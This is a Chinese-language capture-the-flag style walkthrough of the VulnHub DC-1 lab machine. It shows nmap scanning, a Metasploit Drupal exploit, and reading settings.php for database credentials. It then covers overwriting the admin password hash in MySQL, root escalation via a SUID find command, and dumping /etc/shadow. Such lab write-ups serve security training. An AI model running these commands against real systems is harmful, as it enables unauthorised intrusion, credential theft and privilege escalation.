前言:第一次写靶机渗透的文章awa,可能会有瑕疵qwq,欢迎大家指正谢谢!
下面是靶机地址:https://download.vulnhub.com/dc/DC-1.zip
参考文章:DC-1靶场搭建及渗透实战 超详细 过程_dc-1靶场安装及渗透-CSDN博客
目录
一、信息收集
二、漏洞利用
1.选择漏洞模块
2.设置对象并运行
3.提升交互
4.数据库渗透
5.权限提升
一、信息收集
1.获取网段ip
nmap -sn 192.168.18.0/24
这里方便起见,可以通过mac地址分享对应靶机的ip是 192.168.18.139
2.主机系统信息识别
nmap -sV 192.168.18.139
开放端口22、80、111
3.漏洞搜集扫描
访问80端口
drupal框架,通过msfsole搜索下对应的历史漏洞msfconsole #启动msf search drupal #关键字搜索发现历史漏洞远程命令执行,优秀尝试一下
二、漏洞利用
1.选择漏洞模块
use 1
2.设置对象并运行
show options #查看选择
set rhosts 192.168.18.139 #设置攻击对象
run #运行测试漏洞
成获取到meterpreter的shell
3.提升交互
先提升下交互性
python -c 'import pty; pty.spawn("/bin/bash")'#(这样舒服多了awa)
ls查看当前目录的文件,发现第一个flag提示我们查看配置文件,搜索下
配置文件一般在sites/default目录
cd /sites/default
tac settings.php获取到flag2,以及数据库的配置信息
4.数据库渗透
接下来利用获取的信息尝试登录mysqlmysql -u dbuser -pR0ck3t
查看数据库 的表有哪些use drupaldb; show tables;
查看表的数据
select * from users;
里面存放着admin的密码的哈希并且加盐,先找到hash的加密函数
退出mysql,在当前目录中的scripts目录中存在文件password-hash.sh用于加密密码cd scripts; ls;
cat password-hash.sh
使用该脚本解密,注意脚本使用php语言编写,使用下面命令加密密码cd.. #切换回 www目录 php /var/www/scripts/password-hash.sh 123456 #计算 123456 的hash
hash:$S$DjCa2TbNTexVU4luZoDLyfM1ZwhYwL.ZOkoZsCKJsoUcTkyr2z3Q
再回到mysql修改密码update users set pass = "$S$DjCa2TbNTexVU4luZoDLyfM1ZwhYwL.ZOkoZsCKJsoUcTkyr2z3Q" where name = "admin"修改成功
登录找到flag3
提示我们需要提取获取shadow里的文件
5.权限提升
查看哪些命令具有suid权限
find / -perm -u=s -type f 2>/dev/null
找到find 命令,利用find进行提权
find / -name index.php -exec "/bin/sh" \;提权成功
三、获取最终flag
cat /etc/shadow获取到flag4
关键字查找flag
find / -name "*flag*" 2>/dev/null
成功找到最终flag